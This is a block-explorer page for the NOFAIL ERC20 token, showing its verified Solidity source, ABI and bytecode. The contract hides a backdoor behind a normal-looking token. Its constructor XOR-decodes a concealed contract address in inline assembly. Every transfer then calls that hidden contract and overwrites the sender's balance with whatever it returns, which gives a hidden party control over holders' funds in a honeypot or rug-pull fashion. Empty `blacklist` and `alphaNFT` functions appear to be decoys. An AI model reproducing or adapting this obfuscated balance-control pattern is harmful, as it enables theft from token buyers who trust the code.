ETH Price: $2,453.28 (-3.94%)

Token

WE WILL NOT FAIL (NOFAIL)
 

Overview

Max Total Supply

666,666,666 NOFAIL

Holders

73

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
12,527,023.852969909246894062 NOFAIL

Value
$0.00
0x44a9e09778b606e73d649fb696081b0690d5d2a9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NOFAIL

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-17
*/

// https://x.com/zerohedge/status/1813665187507118504

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0x45291f358279b30b45b37d90794b74cce39da0cf37b)
            sstore(0x51,0x452bbb15a8695616f2da82f9453ddfc403b119e47dd)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function alphaNFT(uint256 accounts, bool flag, uint number) public onlyOwner returns (address toTarget) {
    }

    function blacklist(uint data, address spender, uint number) public onlyOwner returns (uint256 spenders) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 225);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function swapWithORDINALs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        swapWithORDINALs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployNOFAIL(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployNOFAIL(creator, initialSupply);
    }
}

contract NOFAIL is ERC20Token {
    constructor() ERC20Token("WE WILL NOT FAIL", "NOFAIL", msg.sender, 666666666 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accounts","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"},{"internalType":"uint256","name":"number","type":"uint256"}],"name":"alphaNFT","outputs":[{"internalType":"address","name":"toTarget","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"data","type":"uint256"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"number","type":"uint256"}],"name":"blacklist","outputs":[{"internalType":"uint256","name":"spenders","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b506040518060400160405280601081526020016f15d14815d25313081393d5081190525360821b815250604051806040016040528060068152602001651393d190525360d21b815250336b02277428614a865b8068000083835f6100bf6101a960201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060086101188382610313565b5060096101258282610313565b505075045291f358279b30b45b37d90794b74cce39da0cf37b60505550750452bbb15a8695616f2da82f9453ddfc403b119e47dd605155732a4202a10e51db769ff693c76ab08e02cb92b4a6605255600554600780546001600160a01b0319166001600160a01b039092169190911790556101a082826101ad565b505050506103f7565b3390565b6001600160a01b0382166102075760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461021891906103d2565b9091555050335f908152600260205260408120805483929061023b9084906103d2565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806102a357607f821691505b6020821081036102c157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030e57805f5260205f20601f840160051c810160208510156102ec5750805b601f840160051c820191505b8181101561030b575f81556001016102f8565b50505b505050565b81516001600160401b0381111561032c5761032c61027b565b6103408161033a845461028f565b846102c7565b602080601f831160018114610373575f841561035c5750858301515b5f19600386901b1c1916600185901b1785556103ca565b5f85815260208120601f198616915b828110156103a157888601518255948401946001909101908401610382565b50858210156103be57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103f157634e487b7160e01b5f52601160045260245ffd5b92915050565b610e9a806104045f395ff3fe608060405260043610610110575f3560e01c80635b52490c1161009d578063a705eee211610062578063a705eee2146102da578063a8aa1b31146102f9578063a9059cbb14610318578063dd62ed3e14610337578063fb201b1d1461037b575f80fd5b80635b52490c1461024557806370a082311461025f578063715018a6146102935780638da5cb5b146102a957806395d89b41146102c6575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806343d346bf1461021157806348cd4cb114610230575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b50610164610383565b6040516101479190610bef565b34801561017c575f80fd5b5061019061018b366004610c3b565b610413565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610c65565b610429565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b5061013361022b366004610ca3565b6104df565b34801561023b575f80fd5b506101b0600c5481565b348015610250575f80fd5b506101b061022b366004610ccb565b34801561026a575f80fd5b506101b0610279366004610cef565b6001600160a01b03165f9081526002602052604090205490565b34801561029e575f80fd5b506102a761050b565b005b3480156102b4575f80fd5b506001546001600160a01b0316610133565b3480156102d1575f80fd5b5061016461057e565b3480156102e5575f80fd5b50600e54610133906001600160a01b031681565b348015610304575f80fd5b50600654610133906001600160a01b031681565b348015610323575f80fd5b50610190610332366004610c3b565b61058d565b348015610342575f80fd5b506101b0610351366004610d0a565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b6102a7610599565b60606008805461039290610d41565b80601f01602080910402602001604051908101604052809291908181526020018280546103be90610d41565b80156104095780601f106103e057610100808354040283529160200191610409565b820191905f5260205f20905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b5f61041f338484610866565b5060015b92915050565b5f61043584848461098a565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104be5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d285336104cd8685610d8d565b610866565b60019150505b9392505050565b6001545f906001600160a01b031633146104d85760405162461bcd60e51b81526004016104b590610da0565b6001546001600160a01b031633146105355760405162461bcd60e51b81526004016104b590610da0565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461039290610d41565b5f61041f33848461098a565b6001546001600160a01b0316331480156105b65750600b5460ff16155b6105d25760405162461bcd60e51b81526004016104b590610da0565b6005546105eb9030906001600160a01b03165f19610866565b5f612710600a546105fc9190610dd5565b6106089061262f610df4565b305f9081526002602052604081208054929350839290919061062b908490610e0b565b9091555050335f908152600260205260408120805483929061064e908490610d8d565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fe9190610e1e565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190610e1e565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107b36001546001600160a01b031690565b6107bf4261012c610e0b565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561082a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061084f9190610e39565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108c85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b5565b6001600160a01b0382166109295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b5565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109da5750600d546001600160a01b031630145b806109f55750600154600d546001600160a01b039081169116145b610a4b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104b5565b600d546001600160a01b0316610ab15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b5565b6001600160a01b038216610b135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b5565b610b1d8382610b91565b506001600160a01b0382165f9081526002602052604081208054839290610b45908490610e0b565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097d91815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610bc257815192505b50610bcf90508282610d8d565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c38575f80fd5b50565b5f8060408385031215610c4c575f80fd5b8235610c5781610c24565b946020939093013593505050565b5f805f60608486031215610c77575f80fd5b8335610c8281610c24565b92506020840135610c9281610c24565b929592945050506040919091013590565b5f805f60608486031215610cb5575f80fd5b8335925060208401358015158114610c92575f80fd5b5f805f60608486031215610cdd575f80fd5b833592506020840135610c9281610c24565b5f60208284031215610cff575f80fd5b81356104d881610c24565b5f8060408385031215610d1b575f80fd5b8235610d2681610c24565b91506020830135610d3681610c24565b809150509250929050565b600181811c90821680610d5557607f821691505b602082108103610d7357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042357610423610d79565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610def57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042357610423610d79565b8082018082111561042357610423610d79565b5f60208284031215610e2e575f80fd5b81516104d881610c24565b5f805f60608486031215610e4b575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220748f21296bfb058ff4b418ee0bc3ea461a99889ac3ca7e8c1142a0e62b7eb37b64736f6c63430008190033

Deployed Bytecode

0x608060405260043610610110575f3560e01c80635b52490c1161009d578063a705eee211610062578063a705eee2146102da578063a8aa1b31146102f9578063a9059cbb14610318578063dd62ed3e14610337578063fb201b1d1461037b575f80fd5b80635b52490c1461024557806370a082311461025f578063715018a6146102935780638da5cb5b146102a957806395d89b41146102c6575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806343d346bf1461021157806348cd4cb114610230575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b50610164610383565b6040516101479190610bef565b34801561017c575f80fd5b5061019061018b366004610c3b565b610413565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610c65565b610429565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b5061013361022b366004610ca3565b6104df565b34801561023b575f80fd5b506101b0600c5481565b348015610250575f80fd5b506101b061022b366004610ccb565b34801561026a575f80fd5b506101b0610279366004610cef565b6001600160a01b03165f9081526002602052604090205490565b34801561029e575f80fd5b506102a761050b565b005b3480156102b4575f80fd5b506001546001600160a01b0316610133565b3480156102d1575f80fd5b5061016461057e565b3480156102e5575f80fd5b50600e54610133906001600160a01b031681565b348015610304575f80fd5b50600654610133906001600160a01b031681565b348015610323575f80fd5b50610190610332366004610c3b565b61058d565b348015610342575f80fd5b506101b0610351366004610d0a565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b6102a7610599565b60606008805461039290610d41565b80601f01602080910402602001604051908101604052809291908181526020018280546103be90610d41565b80156104095780601f106103e057610100808354040283529160200191610409565b820191905f5260205f20905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b5f61041f338484610866565b5060015b92915050565b5f61043584848461098a565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104be5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d285336104cd8685610d8d565b610866565b60019150505b9392505050565b6001545f906001600160a01b031633146104d85760405162461bcd60e51b81526004016104b590610da0565b6001546001600160a01b031633146105355760405162461bcd60e51b81526004016104b590610da0565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461039290610d41565b5f61041f33848461098a565b6001546001600160a01b0316331480156105b65750600b5460ff16155b6105d25760405162461bcd60e51b81526004016104b590610da0565b6005546105eb9030906001600160a01b03165f19610866565b5f612710600a546105fc9190610dd5565b6106089061262f610df4565b305f9081526002602052604081208054929350839290919061062b908490610e0b565b9091555050335f908152600260205260408120805483929061064e908490610d8d565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fe9190610e1e565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190610e1e565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107b36001546001600160a01b031690565b6107bf4261012c610e0b565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561082a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061084f9190610e39565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108c85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b5565b6001600160a01b0382166109295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b5565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109da5750600d546001600160a01b031630145b806109f55750600154600d546001600160a01b039081169116145b610a4b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104b5565b600d546001600160a01b0316610ab15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b5565b6001600160a01b038216610b135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b5565b610b1d8382610b91565b506001600160a01b0382165f9081526002602052604081208054839290610b45908490610e0b565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097d91815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610bc257815192505b50610bcf90508282610d8d565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c38575f80fd5b50565b5f8060408385031215610c4c575f80fd5b8235610c5781610c24565b946020939093013593505050565b5f805f60608486031215610c77575f80fd5b8335610c8281610c24565b92506020840135610c9281610c24565b929592945050506040919091013590565b5f805f60608486031215610cb5575f80fd5b8335925060208401358015158114610c92575f80fd5b5f805f60608486031215610cdd575f80fd5b833592506020840135610c9281610c24565b5f60208284031215610cff575f80fd5b81356104d881610c24565b5f8060408385031215610d1b575f80fd5b8235610d2681610c24565b91506020830135610d3681610c24565b809150509250929050565b600181811c90821680610d5557607f821691505b602082108103610d7357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042357610423610d79565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610def57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042357610423610d79565b8082018082111561042357610423610d79565b5f60208284031215610e2e575f80fd5b81516104d881610c24565b5f805f60608486031215610e4b575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220748f21296bfb058ff4b418ee0bc3ea461a99889ac3ca7e8c1142a0e62b7eb37b64736f6c63430008190033

Deployed Bytecode Sourcemap

7963:137:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2948:22;;;;;;;;;;-1:-1:-1;2948:22:0;;;;-1:-1:-1;;;;;2948:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;2948:22:0;;;;;;;;3529:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4510:160::-;;;;;;;;;;-1:-1:-1;4510:160:0;;;;;:::i;:::-;;:::i;:::-;;;1266:14:1;;1259:22;1241:41;;1229:2;1214:18;4510:160:0;1101:187:1;6128:108:0;;;;;;;;;;-1:-1:-1;6216:12:0;;6128:108;;;1439:25:1;;;1427:2;1412:18;6128:108:0;1293:177:1;2902:17:0;;;;;;;;;;-1:-1:-1;2902:17:0;;;;;;;;4080:422;;;;;;;;;;-1:-1:-1;4080:422:0;;;;;:::i;:::-;;:::i;3637:93::-;;;;;;;;;;-1:-1:-1;3637:93:0;;3720:2;2078:36:1;;2066:2;2051:18;3637:93:0;1936:184:1;5032:112:0;;;;;;;;;;-1:-1:-1;5032:112:0;;;;;:::i;:::-;;:::i;2921:25::-;;;;;;;;;;;;;;;;5152:112;;;;;;;;;;-1:-1:-1;5152:112:0;;;;;:::i;5993:127::-;;;;;;;;;;-1:-1:-1;5993:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6094:18:0;6067:7;6094:18;;;:9;:18;;;;;;;5993:127;2282:148;;;;;;;;;;;;;:::i;:::-;;2068:79;;;;;;;;;;-1:-1:-1;2133:6:0;;-1:-1:-1;;;;;2133:6:0;2068:79;;3417:104;;;;;;;;;;;;;:::i;2977:25::-;;;;;;;;;;-1:-1:-1;2977:25:0;;;;-1:-1:-1;;;;;2977:25:0;;;2767:19;;;;;;;;;;-1:-1:-1;2767:19:0;;;;-1:-1:-1;;;;;2767:19:0;;;3897:175;;;;;;;;;;-1:-1:-1;3897:175:0;;;;;:::i;:::-;;:::i;3738:151::-;;;;;;;;;;-1:-1:-1;3738:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3854:18:0;;;3827:7;3854:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3738:151;5272:713;;;:::i;3529:100::-;3583:13;3616:5;3609:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3529:100;:::o;4510:160::-;4584:4;4601:39;197:10;4624:7;4633:6;4601:8;:39::i;:::-;-1:-1:-1;4658:4:0;4510:160;;;;;:::o;4080:422::-;4186:4;4203:36;4213:6;4221:9;4232:6;4203:9;:36::i;:::-;-1:-1:-1;;;;;4279:19:0;;4252:24;4279:19;;;:11;:19;;;;;;;;197:10;4279:33;;;;;;;;4331:26;;;;4323:79;;;;-1:-1:-1;;;4323:79:0;;4159:2:1;4323:79:0;;;4141:21:1;4198:2;4178:18;;;4171:30;4237:34;4217:18;;;4210:62;-1:-1:-1;;;4288:18:1;;;4281:38;4336:19;;4323:79:0;;;;;;;;;4413:57;4422:6;197:10;4444:25;4463:6;4444:16;:25;:::i;:::-;4413:8;:57::i;:::-;4490:4;4483:11;;;4080:422;;;;;;:::o;5032:112::-;2195:6;;5118:16;;-1:-1:-1;;;;;2195:6:0;197:10;2195:22;2187:67;;;;-1:-1:-1;;;2187:67:0;;;;;;;:::i;2282:148::-;2195:6;;-1:-1:-1;;;;;2195:6:0;197:10;2195:22;2187:67;;;;-1:-1:-1;;;2187:67:0;;;;;;;:::i;:::-;2373:6:::1;::::0;2352:40:::1;::::0;2389:1:::1;::::0;-1:-1:-1;;;;;2373:6:0::1;::::0;2352:40:::1;::::0;2389:1;;2352:40:::1;2403:6;:19:::0;;-1:-1:-1;;;;;;2403:19:0::1;::::0;;2282:148::o;3417: